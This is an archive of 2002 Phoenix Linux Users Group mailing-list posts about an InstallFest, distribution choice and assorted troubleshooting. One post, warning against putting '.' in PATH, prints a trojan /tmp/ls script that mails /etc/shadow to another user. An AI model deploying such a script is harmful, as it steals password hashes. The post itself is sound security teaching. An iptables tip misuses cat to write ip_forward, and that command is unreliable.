Eh Brah, You need to give us more information than that. Are you using a dial-up modem (internal or external?), cable modem, ADSL, VDSL, WHAT??? Next, you need to tell us what you have done so far, and what the results were, including error messages.

> slightly * Instead of "and external modems" a reference to the PLUG web page InstallFest Q&A (which we need to have ready when this is released). Removed parentheses around that sentence. * Corrected spelling of my name * "PLUG Club members" --> "PLUG members" === On Saturday, June 22, the Phoenix Linux Users Group (PLUG) invites the public to a "GNU/Linux InstallFest" at Scottsdale Community College. Attendees will receive expert help in installing Linux, a freely available operating system, on their personal computers. After the InstallFest, users who brought their computers along can in many cases go home with working systems installed on their machines, free of charge. The package includes web browsers, word processors, and other usual tools that computer users expect. PLUG's organizer for the event is William Lindley, a computer consultant. "This is what the Free Software community is all about - helping each other, and we'll be helping folks get started," Lindley explained. "We're all looking forward to this InstallFest." The software is an alternative to Windows and other proprietary systems. Linux, GNU, FreeBSD and other "open source" and "free software" systems do not require any licensing or upgrade fees, and are said by many experts to be more efficient and secure than Windows systems. Businesses and home users alike are turning to free software which can be freely copied, modified, or examined, and which is considered by computer experts to be more robust and secure than proprietary systems. Though there is no charge, the term "free software" actually refers to freedom from license restrictions: Users are never asked to click "I Agree" to a list of prohibitions before using it, and organizations need not store "Certificates of Authenticity" in their safe deposit boxes in case of an audit. The free software products are available at no charge through the Internet or as an inexpensive distribution at most local computer stores, but the InstallFest offers users a completed installation by experienced Linux and FreeBSD administrators. Computer users are invited to bring their computers to the event. Usually, only the computer box, monitor, keyboard and mouse need be brought - see the PLUG web page for details. "Your old operating system can remain as an alternative, or we can replace it entirely," Lindley said, "depending on your plans for the machine and how much disk space you have to spare." "This is a really important next step in development of computers and the Internet -- making them more affordable and more secure," Lindley said. "We are here to show how easy it can be for computer users to move up to the next level." The event will be held from 10:00 a.m. to 4:00 p.m. in the College's Turquoise Room, at 9000 E. Chaparral Rd., Scottsdale, AZ. A map is available online at PLUG's web site, ( http://plug.phoenix.az.us ). PLUG members will be available to answer questions about Linux, Open Source software, and the Phoenix Linux Users Group as well. For more information about the InstallFest, email contact@plug.phoenix.az.us or call William Lindley at 480-947-6100 PLUG is an informal group that holds several monthly meetings, on both the East and West sides of Phoenix, to talk about what they've recently done with Linux, GNU and open source software; to share problems and solutions, and to discuss issues in the world of Free Software and computers in general. Knowledge of Linux is neither presumed nor required. Between meetings, PLUG members stay in touch through a busy e-mail discussion list. More information about PLUG can be found on the website at http://plug.phoenix.az.us/ . Scottsdale Community College offers two year degree programs in many disciplines including computers, arts, and science. SCC also offers university transfer programs and special interest courses, and has hosted several free software events.

I think that one can make there own LFS from a stock redhat or mandrake etc. Start with an installed copy of the base system on a clean drive and build package by package until you get where you want to go, perhaps change bootloaders ie lilo to grub for extra credit. Examine carefully settings and configurations for each peice of software and recompile SRPMS when appropriate, making a working developement environment is the hardest part of that ususually and quite valuable experience I might add. Hands down, being involved in every descision is the best way to understand linux from a little picture/big picture perspective. You may also be interested in taking a look at gentoo linux which dl's and compile a complete distribution. Very unique, interesting and powerful. gentoo.org hope it helps.

I have the identical problem with my linux system. Did you ever figure out how to fix it? ----------------------------------------------------------------- I setup a k12ltsp server (http://k12ltsp.org) at work and I plan on using it for our employees in our call center (they have very limited software needs so this will be a good testing ground). I've been testing things and I keep encountering random problems with the mouse/keyboard within KDE. Sometimes I can no longer click on anything. The only way to get out is to Ctrl-Alt-Backspace to kill the X session. This seems to happen most often when clicking the Logout button on the taskbar, I can't click anything else or use any keyboard keys (except Ctrl-Alt-Backspace) to complete the logout process. The hardware is fairly simple: Serial mouse, P-133MHz, 64MB RAM, 1MB Video card.

You will learn plenty, 'tho not quite the same things you'd learn with a totally From Scratch approach. Consider these two approaches: A. Start with a 1957 Chevy Bel Air. Remove the engine. Replace one part at a time on the engine, making sure the engine continues to work after each new part. Reinstall the engine. Drive away. B. Start with a bare engine block and a barrel full of Chevy parts. Using only an exploded diagram, assemble a working engine. Find a 1957 Chevy Bel Air frame at the junkyard, and several "hulks" from which you can pull body parts. Pull pieces from the hulks and add them to your masterpiece. Drive away. Both approaches have their advantages, depending on what you want to learn. \\/ http://www.wlindley.com From plug-discuss@lists.plug.phoenix.az.us Sun Jun 2 16:08:27 2002 From: plug-discuss@lists.plug.phoenix.az.us (George Toft) Date: Sun, 02 Jun 2002 12:08:27 -0400 Subject: InstallFest / Distribution Advice References: <000501c2085d$d9fd44b0$6500000a@janus> <000e01c20986$8e790a40$0f01a8c0@workstation> Message-ID: <3CFA42FB.3DF6EAD5@georgetoft.com> Why would you invite a newbie to start with one of the most challenging projects out there? Let's set the way-back machine to when you were learning to ride a bicycle. Did your parents make you build your bike to start off (Slackware, Debian, LFS)? No - they gave you a bike with training wheels that already worked (Mandrake, Red Hat). As you gained familiarity with the mechanics of riding a bike (Linux administration), the training wheels were removed, and you were on your own (to ride whatever you wanted). If a person is already familiar with Unix (riding some kind of bike), then this is not much of an issue, but then they probably won't call themselves a newbie and ask for help/advice. By building their bike from scratch they do learn much more, but maybe they don't want to be a bike mechanic. Maybe they want to ride the bike instead of being pulled around in the red wagon by Microsoft, being taken where ever Microsoft decides. You don't have to be a bike mechanic to ride, although it helps when you break the bike to be able to fix it quickly. There are plenty of bike mechanics out here that can lend a hand to a newbie when they break their bike, or when they want to trick it out (video capture, sound editing, VCD mastering, writing device drivers, etc). Maybe I'm recalling my first Linux experience. It took me a week to get Linux to print without stair-stepping because, at that time, all that was avaialble was using vi to edit printcap. I learned more than I ever wanted to know (I was overwhelmed), and ran screaming back to my red wagon. Two years later, after having my red wagon tipped over every 60 minutes, I bought an already built bike (Red Hat) and learned to ride. When I got Star Office 4, Netscape, and Acrobat Reader running (back when these did not come with Linux distros, but had to be downloaded as tarballs and installed and configured and tweaked), I shed the training wheels and threw the red wagon away. You have to crawl before you can run. My $0.02 plus some.

DOS/Windows makes . (your current directory, know in Unix as your CWD) the first place to look for files. This presents a major security risk, and is highly discouraged. Therefore, you need to preceed the script name with ./ to tell the shell to use the script in your CWD, like this: ./hello If that becomes too burdonsome for you, edit ~/.bash_profile, and add: PATH=$PATH:. This makes the shell look for stuff in your CWD last. I still STRONGLY RECOMMEND you do not do this. NEVER, NEVER, NEVER do this as root!!! EVER!!! History lesson: A long time ago, people used to have . in their path, even as root. The some bright boy figured out he could put this script in /tmp/ls: #!/bin/sh cat /etc/shadow | mailx -s "password file" joeblow /bin/ls $1 $2 $3 $4 $5 $6 rm -f /tmp/ls exit $? Since /tmp is world writable, if root happened to have . before /bin in his PATH, and root happened to be in /tmp and typed ls, this script executes, sends the password shadow file to jowblow, and then executes the normal ls command so it looks good, then it deletes itself. Joe could then run a password cracking program against the file and retrieve other passwords, like root's.

If that's the case you'll find a dotfile (hidden file) in your home directory called '.xinitrc'. Do 'ls -a' so that it'll show up. Then you want to use your favorite editor and edit that file. Add the line 'startkde' at the first line. Exit Gnome if you are using it and run 'startx' at the console. Then hopefully you should be staring at the KDE desktop. If this doesn't work. Wait for someone else to post a much better explanation on how to get this done :). __________________________________________________ Do You Yahoo!?

However I HATE the RH mouse, its jerky and not smooth at all. Since you already have an optical mouse, I will assume you are not talking about performance. In terms of configuration and setup, it uses the exact same protocols as the Intellimouse (assuming you have the newer ones with a wheel) so that no adjustments are necessary.

Tonight's match is between the "Gates from Hell X Truck" and the "Roaring Penquin". Now down to the field for our pre-game show. ANNOUNCER: "Matt, how is this grudge match between the Gates truck and the Penquin shaping up?" MATT: "Gates took quite a beating from the Penquin last time out, but tonight the M$ Team has a brand new truck. A lot of money went into this baby, you can be sure of that!" ANS: "Gates has spared no expense on the finish, but it takes more than good looks to beat the Penquin. What is Gates' advantage this time, Matt?" MATT: Well, Gates is being pretty secretive about what's under the hood. It will take more than good looks to beat the Penquin., that's for sure. The reboot in the final seconds of the last round cost Gates dearly." ANS: "That's right, the Penquin sure knows how to get the last ounce of performance from any hardware at hand. Oh, oh, I head a commotion down in the Linux pit. What's going on Matt? MATT: RMS has just walked into the pit and is demanding that the name of the truck be changed!" ANS: Isn't that Linux Torvalds standing off to the side?" MATT: "Yes. Linus, what's your reaction to this confrontation? "It's just a name, I don't care what it is called." ANS: We'll be right back after this public service announcement from the BSA."

The BBC article is here: http://news.bbc.co.uk/hi/english/business/newsid_2023000/2023127.stm But I liked the reference of one /. reader to the BbusinessWeek's interview of Microsoft's Richard Purcell, the man charged with heading up Microsoft's Trustworthy Computering Initiative. The interview ended with these two telling questions: Q: In January, Bill Gates sent a memo to staff emphasizing the importance of trustworthy computing. Was it a turning point? A: It's Bill's effort to put the focus of the company on one thing.... My job is to take that -- and Bill has given me this job very explicitly -- and transform the company into a different kind of company that produces products and services that are highly reliable, highly dependable, highly manageable, highly safe through security and privacy practices. Q: Critics would say you're not succeeding. Since the big announcement, a half- dozen security bugs have been found in products such as Internet Explorer, MSN Messenger. How do explain that? A: You can't issue a memo on Jan. 18 and, within two weeks or even two months, have introduced your entire product line that's consistent with that. Trustworthy computing, as I try to emphasize, is about process change, so that products can then be delivered as a result. And it's a very long-term vision -- 5, 10 years, maybe. The full interview is here - http://www.businessweek.com/technology/content/may2002/tc20020523_6029.htm So, how many businesses will be willing to wait on Microsoft when Linux is proving itself secure today?

So I get to communicate with folks there a lot. In discussing this with them, what they all find funny is this is old news. German Parliment dictated some time ago that they would be move their servers to GNU/Linux. They even produced a roadmap that all servers would be converted by XXXX date. This announcement is merely that they have chosen a vendor. BTW: Those that like this move, please note that the FSF Europe played a major role in making it happen as part of their "Bundestux" initiative.

Individuals have to take more charge of their information. Commerce is going to have to get used to having a more open disclosure model, asking for permission, following those permissions more reliably than they have in the past.

Actually, it should be done in the middle of networking. After the interfaces are up, but before routing gets setup, but that's problematic with how networking's started.

It lets you run windows as a window inside your GNU/Linux environment. Unlike VMWare and friends it is not a VM. Also, unlike WINE it actually works and works well.

I got RH4.2 and put it on a P166 tower I had built. I moved on, going from version to version of Red Hat as new releases came out. With the help of PLUG I was able to setup a DEC Alpha Multia to act as a Firewall for my DSL connection, now the Cisco 675 is doing NAT in PPP mode (used to be in bridging mode). I've been dual booting my Panasonic Toughbook CF-25mkII between Win95/RedHat Linux and have slowly been learning enough that I have fewer reasons to boot into Windows (Starcraft still runs best under Win95 on my poor little P150 rather than in Wine). This weekend I wiped the linux partitions out and freshly installed RH7.3. PCMCIA didn't work (stupid Yenta Socket driver) and Xwindows wouldn't do more than 640x480 (stupid Xconfigurator). Thanks to past help I've gotten from everyone on this list I was able to build a new kernel and reconfigure X to do 1024x768. The longest part of the debug was rebuilding the kernel and pcmcia_cs packages. As a side benefit, the format and install actually helped me get my Orinoco Wireless card working under linux, so now I can use both Linux and Windows anywhere in the house. All this thanks to the help of others on this list.

Drop the first rule (FORWARD) I think. INPUT, OUTPUT, FORWARD are all independant of each other in iptables. Use FORWARD only for packets heading through your machine. INPUT is for packets coming into localhost, OUTPUT is for packets going from localhost. Also forwarding is kernel level. The following command: $cat /proc/sys/net/ipv4/ip_forward 1 should give you 1. If it is 0, then that is your problem. There are a couple of places that you could stick that in startup scripts to keep it 1. Or just $cat "1">/proc/sys/net/ipv4/ip_forward every time you want forwarding on.

It's an alternative to the original flat dev filesystem -- doesn't waste any disk space or inodes on your drive, and device entries are registered and unregistered as modules are loaded/unloaded. Check your /etc/devfsd.conf to make sure that MKOLDCOMPAT is enabled -- normally the devfsd daemon will make symlinks to the old device names (eg: /dev/sound/dsp -> /dev/dsp). More than helpful documentation on devfsd and devfs is available via: less /usr/src/linux/Documentation/filesystems/devfs/README man devfsd man devfsd.conf -- Thomas "Mondoshawan" Tate mondoshawan@tank.dyndns.org http://tank.webhop.org From plug-discuss@lists.plug.phoenix.az.us Wed Jun 5 00:30:31 2002 From: plug-discuss@lists.plug.phoenix.az.us (mazdaracer) Date: Tue, 04 Jun 2002 17:30:31 -0700 Subject: sound and XMMS References: <3CFD4ABD.1671BEF7@earthlink.net> <3CFD4F57.13E69BFC@qwest.net> <3CFD5448.B764FF08@earthlink.net> <20020604173119.A26811@nadesico> Message-ID: <3CFD5BA7.C221AF9@earthlink.net> Thank You!!

Dennis =========================================================== FOR IMMEDIATE RELEASE LOCAL USERS GROUP OFFERS FREE GNU/LINUX INSTALLATION HELP On Saturday, June 22, the Phoenix Linux Users Group (PLUG) invites the public to a "GNU/Linux InstallFest" at Scottsdale Community College. Attendees will receive expert help in installing Linux, a freely available operating system, on their personal computers. After the InstallFest, users who brought their computers along can in many cases go home with working systems installed on their machines, free of charge. The package includes web browsers, word processors, and other usual tools that computer users expect. PLUG's organizer for the event is William Lindley, a computer consultant. "This is what the Free Software community is all about - helping each other, and we'll be helping folks get started," Lindley explained. "We're all looking forward to this InstallFest." The software is an alternative to Windows and other proprietary systems. Linux, GNU, FreeBSD and other Open Source and Free Software systems do not require any licensing or upgrade fees, and are said by many experts to be more efficient and secure than Windows systems. Businesses and home users alike are turning to Free Software which can be freely copied, modified, or examined, and which is considered by computer experts to be more robust and secure than proprietary systems. Though there is no charge, the term Free Software actually refers to freedom from license restrictions: Users are never asked to click "I Agree" to a list of prohibitions before using it, and organizations need not store "Certificates of Authenticity" in their safe deposit boxes in case of an audit. The Free Software products are available at no charge through the Internet or as an inexpensive distribution at most local computer stores, but the InstallFest offers users a completed installation by experienced Linux and FreeBSD administrators. Computer users are invited to bring their computers to the event. Usually, only the computer box, monitor, keyboard and mouse need be brought - see the PLUG web page for details. "Your old operating system can remain as an alternative, or we can replace it entirely," Lindley said, "depending on your plans for the machine and how much disk space you have to spare." "This is a important next step in development of computers and the Internet -- making them more affordable and more secure," Lindley said. "We are here to show how easy it can be for computer users to move up to the next level." The event will be held from 10:00 a.m. to 4:00 p.m. in the College's Turquoise Room, at 9000 E. Chaparral Rd., Scottsdale, AZ. A map is available online at PLUG's web site, ( http://plug.phoenix.az.us ). PLUG members will be available to answer questions about Linux, Open Source software, and the Phoenix Linux Users Group as well. For more information about the InstallFest, email contact@plug.phoenix.az.us or call William Lindley at 480-947-6100 PLUG is an informal group that holds several monthly meetings, on both the East and West sides of Phoenix, to talk about what they've recently done with Linux, GNU and Open Source software; to share problems and solutions, and to discuss issues in the world of Free Software and computers in general. Knowledge of Linux is neither presumed nor required. Between meetings, PLUG members stay in touch through a busy e-mail discussion list. More information about PLUG can be found on the website at http://plug.phoenix.az.us/ . Scottsdale Community College offers two year degree programs in many disciplines including computers, arts, and science. SCC also offers university transfer programs and special interest courses, and has hosted several Free Software events.

Do I > need to go buy some new CDs? I have seen this behavior quite a bit on my systems, and I would have to say that the CD-ROM is bad. Although a bit rare with pressed CDs, this behavior is much more prevalent among burnt ones. I also can't tell you if getting new CDs will help at all since I have never been able to find out what exact propert of the disc causes the CD-ROM to fail. Essentially, it knows there is something there but can't read the disk (similar to what the new audio CD copy prevention does intentionally). Okay, the above doesn't make sense, but I am not about to retype it. Summary? Either do the network install (which is really easy if you already have a network card) or buy a new CD-ROM (which is really cheap). Good luck! PS: Your problems might have something to do with a failing power supply, as well. I know in at least one out of the 3 "bad" CD-ROM drives I owned, the problem was fixed by dropping in a new PSU. - -- Logan Kennelly ,,, (. .) - --ooO-(_)-Ooo-- -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: For info see http://www.gnupg.org iD8DBQE8/jr7pNoctRtUIRQRAustAJ9JvX7WonvSSPmRfQVmubZ5BXcnFACfQAr0 ZXekffMi23HKjntNmnfS+fQ= =lcRu -----END PGP SIGNATURE----- From plug-discuss@lists.plug.phoenix.az.us Wed Jun 5 16:44:40 2002 From: plug-discuss@lists.plug.phoenix.az.us (Mark Berkwitt) Date: Wed, 5 Jun 2002 09:44:40 -0700 Subject: Old computers available In-Reply-To: <20020604174319.A87199@lilly.csoft.net> Message-ID: Mike, thanks for the offer.

As lame as it sounds this litle option is something i would really like, if someone could help me out with this i would appreciate it, thanks in advance :) Looks to me like the Makefile isn't setting $(CC) properly. Check the toplevel Makefile to see if it's redefining it to something bizarre.

Message-ID: Unfortunately, I'm going to be out of town or I would lend a hand with the InstallFest. I'd be happy to chip in some burns of distros or OpenOffice if that would help. In July I'm going to get together with half a dozen friends from my office who want to try Linux for the first time. Would it be possible for those of you who will be at the InstallFest to keep track of any major problems or successes, so I can try to avoid the former and capitalize on the latter? Might even turn into a handy guide for people to use when introducing Linux to their office or their children's school. I'm thinking along the lines of, "would've been easier if we'd had a bigger hub," or "having OpenOffice was a big hit because it let people see how they can use Linux to do what they're doing on Windows." Sort of a post-mortem. ------------------------------------------------------------------- "This time around, everything not forbidden is mandatory."

A couple of films this year have made over $100 million in the opening weekend. Spider Man has over $300 million in the .us thus far. Hell, film, tv, music, and sports all probably top $35 billion on their own. Granted, there's a lot of cross-over because sports get a lot of the money from tv, but I find it hard to believe that the 'entertainment sector' is only $35 billion. They're also the only sector that hasn't been reducing salaries or having massive layoffs. Wouldn't it be great to see a bunch of the baseball teams have to layoff 7 or 8 players mid-season? :) Coach ( to GM ): But we have to have 9 players on the field. GM: Well, you're just gonna have to find a way to make do.
